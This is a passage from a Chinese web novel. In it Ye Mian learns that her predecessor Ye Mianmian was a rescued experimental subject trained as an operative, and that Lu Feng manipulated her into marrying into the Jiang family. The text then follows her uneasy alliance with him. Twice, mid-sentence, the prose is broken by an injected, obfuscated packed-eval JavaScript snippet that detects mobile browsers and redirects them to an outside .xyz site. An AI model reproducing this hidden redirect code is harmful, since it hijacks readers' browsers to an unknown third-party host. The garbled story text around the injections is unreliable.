“对,”陆风组织语言,“他们合作捣毁了一座试验基地,我们就是从那里把你接回来的。” “接回来,”叶眠慢慢地重复了一遍,“我是实验体吗?” 陆风有些难以启齿地说:“是。” 叶眠表情严肃下来:“具体说说。” “死星三号,又叫死星912,原本是气候地理条件都不适宜人类居住的死星,但有一伙人藏在山里,建造了一座巨大的实验场。” “德里克最先发现了那里,并匿名在黑网上发布了一系列悬赏,”陆风说,“当时的进攻指挥使是陆峰,他拍板同意了这场合作,跟德里克私下接触后,很快就定下了袭击捣毁试验基地的计划。” 叶眠问:“后来出了什么意外吗?” “实验体都是异能天赋B级以上的孩子,本以为母舰降临,捣毁一个实验基地是手到擒来的事情,”陆峰眉头微微皱起,“但有几个实验体的异能失控了。” “死星大火。”叶眠轻轻地说。 “是,异能的火不需要什么干燥、温度的条件,几个A级异能者失控的后果,就是那场星系闻名的死星大火。” 叶眠想起她的梦。 “你们的母舰真的很大,”她一瞬间似乎跟叶绵绵重叠在一起,用一种奇怪的语气说,“我以为我得救了。” 陆风再次露出那种晦涩的表情:“抱歉。” 叶眠清醒过来,不解地问:“为什么要抱歉?” “我父亲……” 陆风在她的注视下仿佛衣不蔽体,他无法躲闪,因此不得不想起父亲做的一切,那些他或许反对过、但终究还是默许顺从的决定。 “我父亲没有释放实验体,”他说,“他延续了对实验体的物理训练。” “而你是其中之一。” 叶眠一瞬间终于明白了,为什么叶绵绵的身手会好得像个特工,明明挂着秘书的名头,却没做过什么秘书的事情,甚至怎么看怎么像个指挥使干杂活的打手。 她不可思议地想:原来真是把我当特工培养的? 叶眠的微表情变化都被陆风看在眼里,他错解成了在意,于是主动补充:“他救出来的实验体大概在四十个左右,你们的训练都是在星舰上进行的,包括搏斗和伪装,各种方面。” 叶眠喃喃说:“怪不得你跟我切磋都赢不了我。” 陆风忍不住为自己正名:“我们认识十年,其实我也赢过你两次的。” 他话说到这里,叶眠倒是好奇起来了:“怎么赢的?” 陆风的脸色一暗,叶眠更是心痒难耐:“叶绵绵给你放水?不用异能?” “第一次是,我父亲带我去训练室挑选助手的时候,”他深吸一口气,“当时我们已经有些熟悉了,我说我要我打得过的,所以你输给了我。” 叶眠把自己跟叶绵绵分得很清,并对此人的恋爱脑相当有数,她甚至点评了一句:“那不是放水,是放海了。” “第二次……” “说啊。”叶眠看他犹犹豫豫的样子,也意识到了可能不是什么好事。 不过这个“不是好事”不是对她来说的,叶眠乐得看陆风吃瘪,主动拍了拍他的手,温声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16263444|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“没关系的,说不定你告诉我,我还能想起点什么呢?” 陆风笑得苦涩,他没有直接说事,而是先给自己交了个免死状:“我以前确实做的不对,很多事情我想得太简单,叶绵绵……我欠她很多。” 开了个头,剩下的检讨就更顺了。 “那群实验体孩子被关在死星基地很多年,性格古怪,各方面的素质都相当强悍。陆峰认为他们……好吧,你们,好好培养就能成为反抗军的一大底牌,但因为跟普通人不太一样,大家对待实验体的态度总是不太好,哪怕后来一起共事了,地位上也略有高下。” “只是不太好?”叶眠敏锐地察觉了他的隐晦,“还是完全不当人?” 她口吻有些尖锐,但心里只觉得荒唐。 都是人类小孩,有些人从小衣食无忧、被父母惯着长大,而有些被抓紧实验基地,不知道遭了什么非人的折磨,终于逃出生天,却因为“奇怪”被当作异类,被毫无负担地当成工具使用……这算是什么道理? 陆峰后牙微微锁紧,沉默了一会儿,苍白地说:“对不起。” 叶眠不愿意替叶绵绵认下这声晚来的道歉,问:“所以她第二次到底是怎么输给你的?” 陆风深深地看着她,几乎是视死如归地说:“我说,我要杀蒋仕临。” “蒋仕临的儿子一直没有结婚,我们需要一个女人,试试从他们内部突破。” 他的声音很低,带着一种难以言喻的沉重,仿佛每个字都浸满了悔恨。 而叶眠,在这一刻对眼前之人的失望达到了顶峰。 她甚至觉得有些荒谬,荒谬到想笑。 “两年前,”叶眠说,“两年前的叶绵绵,很喜欢你吧?” 陆风闭了闭眼:“是。她想了一下午,然后跟我说,我们打一架吧,全力以赴地打,如果我赢了她就去,如果我输了……” “你怎么会输呢?”叶眠笑出了声。 原来所谓的“第二次胜利”,是建立在这样柔软的胁迫之上。 “她那么喜欢你,连进了监狱还指望你来救她。” 陆风无法否认。 他避开她的视线,默认了。 “让她心甘情愿地去接近蒋钰,嫁给蒋钰,做你们的内应,”叶眠陈述着,语气平直,听不出情绪,“你把她当什么?一把好用的刀?你把她的喜欢当什么?要挟她的弱点?” “……当时认为那是最优解。”陆风无力地说。 “最优解?”叶眠轻轻重复,然后点了点头,“很好。那我大概能理解她为什么最后会选择鱼死网破地刺杀蒋仕临了。” 不是绝望到极致,不是恨意滔天,怎么会用那种同归于尽的方式?从实验基地到反抗军,她从未获得真正的自由和尊重,只是从一个牢笼跳到了另一个看似光鲜的牢笼,最终被榨干所有价值。 陆风的脸色在灯光下显得更加苍白,他嘴唇动了动,似乎想说什么,但最终只是更紧地握住了她的手,仿佛那是唯一的浮木。 叶眠没有挣脱,只是看着他,眼神里没有了之前的戏谑或试探,只剩下一种近乎冷酷的清明。 “陆风,你看,”她说,“你们每个人都有自己的大义、自己的计划、自己的不得已。而叶绵绵,或者说我,只是这些宏大叙事里一颗可以随时牺牲的棋子。” “不是……”陆风急切地否认,但叶眠打断了他。 “是不是,你心里清楚。以前是叶绵绵,现在是我。你刚才说帮我,是全心全意想帮我,还是想利用我去对付法蒙,巩固你的权力,或者为你父亲过去的决定赎罪?” 她的目光锐利,直刺他心底最隐秘的角落。 陆风被她问得哑口无言。 他有私心吗?当然有。 他想留住她,疯狂地想。但同时,他也没法一夜之间抛弃过去的所有坚持,于是情绪混杂在一起,连他自己都难以完全厘清。 沉默本身就是一种答案。 叶眠似乎并不意外,她缓缓抽回自己的手,动作并不激烈,却带着一种冰凉的疏离。 “换届之前,我会留在基地,为了胖子,也为了我自己能彻底摆脱这些麻烦。”她重新躺下,拉高被子,侧过身,背对着他,“至于其他的,陆指挥,我们暂时还是保持纯粹的‘互不加害’的合作关系吧。” 她闭上了眼睛,一副拒绝再交谈的姿态。陆风僵在原地,心脏像是被一只无形的手紧紧攥住,痛得几乎无法呼吸。 原来言语可以比刀更锋利,原来冷静的划清界限比激烈的争吵更令人绝望。 他的崩溃、眼泪、卑微的祈求,在这一刻的绝对冷静面前,显得如此可笑又苍白。 她不再恨他,或许是因为连恨这种强烈的情绪,都觉得是浪费了。 陆风坐了许久,久到凌晨五点的闹钟被第一时间摁灭,他终于缓缓起身,没有离开,只是走到卧室外的沙发上,和衣躺下。 他睁着眼,看着天花板上模糊的轮廓,一夜无眠。 39. (9.6日更新) 叶眠最满意的一点是,陆风展现的态度足够真诚,看起来也的确在试图弥补。 实话说,她身后没什么势力,另有是敌非友、已知未知的一大堆人在虎视眈眈,所以她很难拒绝一个合作伙伴,即使他们的关系有些复杂。 但叶眠确实有一瞬间无比失望而漠然地想,陆风这种人,改又能改到哪去呢? 与这份不看好相对应的,是在她第二天早上睁眼时,本应早早离开的陆指挥站在床边,把自己收拾得从头到脚一片妥帖。 墨镜被藏了起来,棕色的瞳孔深情依旧,下颌不见一丝胡茬,他声音温和地问:“德里克那边确实发来了试探,你想怎么处理?” 叶眠本来还有点半醒不醒,被陆指挥这副看似体面实则殷勤的样子刺激得呼吸都慢了一拍。 不,不止殷勤。 已经可以划归谄媚的范畴了。 不过谄媚得相当不显山不露水。 叶眠觉得躺着有点太没威风,结果陆风一眼看破,配合地把她拉起来,顺手给她背后塞了个枕头,然后弯腰,放低了终端显示屏:“他问我,记不记得陆峰曾经的合作。” 叶眠心情微妙,眼神移动,看到德里克老爷子的原话:“孩子,陆峰去世后我们就没有联系了,听闻你已继任指挥使,现在我们有一共同目标在前,不知我们有没有机会再续前缘?[微笑]” 不知道对方从哪搞来了陆风的无数个私联ID之一,虽然使用的账号ID加密,但结合昨天叶眠探听到的消息,确是老爷子无误。 “好别扭的口风。”叶眠伸了个拦腰,然后动作一顿,眉头挑高,心中抱着万分稀奇接过了陆风递来的水。 温度刚好。 “老一辈喜欢用文文绉绉的书面语,但有时用在社媒上,词不达意就会显得很古怪,”陆风好像完全意识不到自己在做什么一样,“你觉得我们怎么回复合适?” “回他,‘来者何人,报上名来’。”叶眠觑他一眼,开完笑似地说,然后端起杯子,遮掩自己掺着古怪和好笑的表情。 陆风显然是愣了一下,但他很好地掩饰了,抬手就要打字。 叶眠立刻……完全不准备制止。 她就这么看着,想看看陆风能做到哪一步。 陆风打完这八个字,结果还没等到叶眠的劝阻,终于有点进退维谷的模样了。 他放下手,清了下嗓子,口吻客观地说:“老爷子是很注重礼貌礼节的人,真要这么发,说不定合作就谈不成了。” 叶眠双手拿着杯子,仿佛无知无觉地说:“没事,发吧。” 陆风叹了口气,按下发送,却在最后一瞬间被叶眠截住:“哎,我开玩笑的。” 他顺势删掉一整句话,然后才说:“我差点以为你不想杀陆风了。” “那当然,杀还是要杀的,”叶眠悠悠然说,“比起咱俩过去那点龃龉,还是法蒙套在我脖子上这根绳更吓人一点。” “所以,你想怎么回复他?”陆风稍微晃了晃终端。 “你自己回呗,问我干什么?”叶眠反问,“我又不是你上司,你也不用听我的。” 陆风把一句话提到舌尖,兜兜转转两圈,总算说出来了:“我听你的,你别赶我。” “咦,轮到我当老大了?”叶眠歪了歪头,跟他继续拉扯,“这个身份有什么期限?” 陆风想哄人自然有他一套,后半夜明显给自己做好了心理建设,低头低得一点没有勉强的痕迹。 “到换届之前,只要是不违背原则的事,都可以,”他语气温柔,眼神更是掐得出水一样,“给我个机会,叶眠。” 叶眠不解风情地想:不愧是千人千面的情报部指挥使。 “不违背原则?”她咀嚼着这个用词,倒是真应了下来,“行。” 陆风眼睛微亮,叶眠却又说:“但老爷子来联系你,我要替你回,被看出不同来怎么办?” “他找的是这个身份上的你,又不是我。”她平平淡淡地说。 这就有点挑刺的意思了,陆风把对外的锋芒收了个干干净净,好脾气且耐心地说:“那你想让我往哪个方向说,我再修改用词。” 叶眠算是服了他的决心,摆摆手,让了一步:“如果真要动手,最好在换届之前。你自己回吧,把这个账号的对话记录发我一份就行。” 陆风点头,像个听话的管家:“你今天想做点什么?” 叶眠鸡皮疙瘩都起来了:“你没事做吗?不是要清理一下内部吗,快去吧。” “如果你需要我在,我就在。” 陆风在做到这一步之前,也没想到自己真能做到这里,他满眼真诚,诚心到了有些灼人的程度。 “只要你说。” “我不需要,”叶眠果断拒绝,“我去找小沈医生研究禁制环,你该干嘛干嘛。” 陆风眼神微涩。 她跟小沈的关系都比跟自己好了。 “好,那我有空会去看你们。” “……大可不必,真的,”叶眠几乎是无助地抱住自己胳膊,“陆风该不会忏悔了一晚上他有多对不起叶绵绵,然后就疯了吧?” 沈舒白被迫当了十分钟树洞,终于找到缝隙开口抗议:“那你再跟我说,是想折磨我吗?” “我只是想告诉你,你朋友最近有点不正常,”叶眠煞有介事地点头,“而且他不是还要清查内部人员吗?小心他等找你事。” “他能查我什……” 沈舒白想到自己的双面间谍身份,然后又看了看自己手头上瞒天过海的减效药,再看看旁边这个一脸“与世无争”的魔鬼,发现自己还真有点不经查。 “总之最近谨慎点吧,同事哥,”叶眠拍了拍他的手臂,“还有,好好干。” 沈舒白拍掉她的手,有些难受地皱眉:“无菌环境,你来就算了,在那坐着别动。” 叶眠若无其事地回到座位,打开终端,看到法蒙还发了条消息。 点进去一看。 “早[玫瑰]。” 叶眠喃喃地说:“我一定是欠他们的。” 不管是装成听话大狗的陆风,还是从头到尾不掩狼性的法蒙,叶眠只觉得自己活像那肉骨头转世,出来兜一圈风屁股后面钓了一群。 叶眠真有点好奇了,叶绵绵是抱着怎样的心面对这一切的?只靠对陆风的满腔爱意吗? 她提醒完沈舒白,没在这耽搁,直接去找了胖子:“开门,我。” 头发长了一圈的胖子谨慎依旧,开了个缝把人拉进来:“浪够了想起我了?” “咋说话呢,”叶眠淡定地说,“单纯想起来你之前说,蒋仕临有个儿媳妇的事儿。” “噢!”胖子眼一瞪,有些兴奋,“你听到了什么新八卦?” “不是听来的,是碰着蒋钰了,”叶眠不动如山地给自己倒了杯水,“他说我像他监狱里的前妻,你觉得这话什么意思?” 胖子:???? “你在开什么玩笑……” 小心地观察着叶眠表情,胖子惊恐地发现,对方真的没在开玩笑。 “不是,”他咽了下口水,“你杀的蒋仕临?” “对,”叶眠深沉地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16292380|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“其实,我已经确认了。陆风跟蒋仕临有仇,所以他把叶绵绵送给了蒋家,结果就是叶绵绵韬光养晦两年,然后跟蒋家鱼死网破。” “等一下,等一下,”胖子艰难地咽了一下口水,“你……叶绵绵跟陆风,不是那种关系吗?” “对,但陆风不是人,”叶眠说,“现在比较重要的事情是,蒋钰起疑了,说要查我,他手下势力有多少?到底能不能查到我?” 胖子稍微正色:“前审判长,他手下的势力说大也大,说小也小。” “怎么说?”看他一副胸有成竹的模样,叶眠也配合地前倾了身体。 “审判庭手不干净,你知道吧,”胖子说,“一个案子,只要给够钱,他们能拖到原告出意外、或者让被告直接进大牢。” “审判庭不需要遵守法律吗?”叶眠不解。 “法律是由人诠释的,在联盟,对法律有最终解释权的,就是审判庭这群人。” 叶眠沉默了一会儿,问:“那蒋家……?” “蒋仕临这个审判长坐了快十年,他手下攒了各种家族黑料、冤案错案,只多不少。审判长票权比审判员更高,权力就是钱,蒋家是从他这起来的,就两代人。” 胖子低声感叹:“你知道这是多恐怖的敛财速度了吧。两代人。虽然他死了,但现在谁敢说蒋钰坏话?谁敢跟蒋钰叫板?也就他是个草包,蒋仕临还没把他塞进审判庭就死了……好吧,是被你杀了,蒋家这才有点青黄不接的意思。” “所以蒋钰没有完全掌握他爹的势力,或者说,只能掌握一部分?”叶眠若有所思。 “对,”胖子说,“要是他完全掌握了那些不可说,你还能活到现在吗?案子落地、你人头落地。” 他的假设听起来没什么威胁力,因为叶眠跟蒋公子见那一面,除了发现夫妻俩xp特殊,别的还真没感受出来。 “蒋钰,”她顿了顿,实话实说,“感觉还不如法蒙有威胁力。” “法蒙算啥,”胖子还不知道德里克家族里的新形势,“噢,你这个环还没解开呢?” 叶眠幽怨地看他一眼:“哪壶不开提哪壶。” 胖子:“嘿,难道不是你始乱终弃,跟陆风玩那么好,日夜相对乐不思蜀了?” “别提陆风了,我现在看着他都发怵。”叶眠叹了口气,三言两语把叶绵绵跟陆指挥的过去讲了讲。 “他不知道哪根筋搭错了,一副要赎罪的意思,咋,他是指挥使还我是?谁的责任也想骗我担?我可没忘了,出狱的时候我一心只想要自由。” 胖子安慰说:“能力越大,责任越大嘛。” 心里念叨着自由的叶眠准备使唤一下自己的新下属——陆秘书——去把自己的前夫处理一下。 陆秘书下班一向很晚,居安思危的叶眠决定:反正闲着也是闲着,干脆继续练异能吧。 叶眠充分地意识到了叶绵绵人际关系网之复杂、树敌之多。比起出门说不定还要遭什么人偷袭,肯定还是基地里更安全一点。 她应付了两口饭就换回睡衣,从柜子里拿出安眠药往床上一趟,继续她的练功大业。 大火如期而来,叶眠一睁眼,只听天花板上悬着的吊灯发出“吱嘎”一声,在她淡定的注视下,不堪重负地砸到了安全区外沿。 火灾中的建筑,什么倒了什么塌了都太正常,虽然差点被砸到,但叶眠的注意力完全不在这里。 因为吊灯砸下来的瞬间,她看到了一抹熟悉的银光跌到几米远外。 ——是铁片。 ——不出意外,也是有刻字的那种。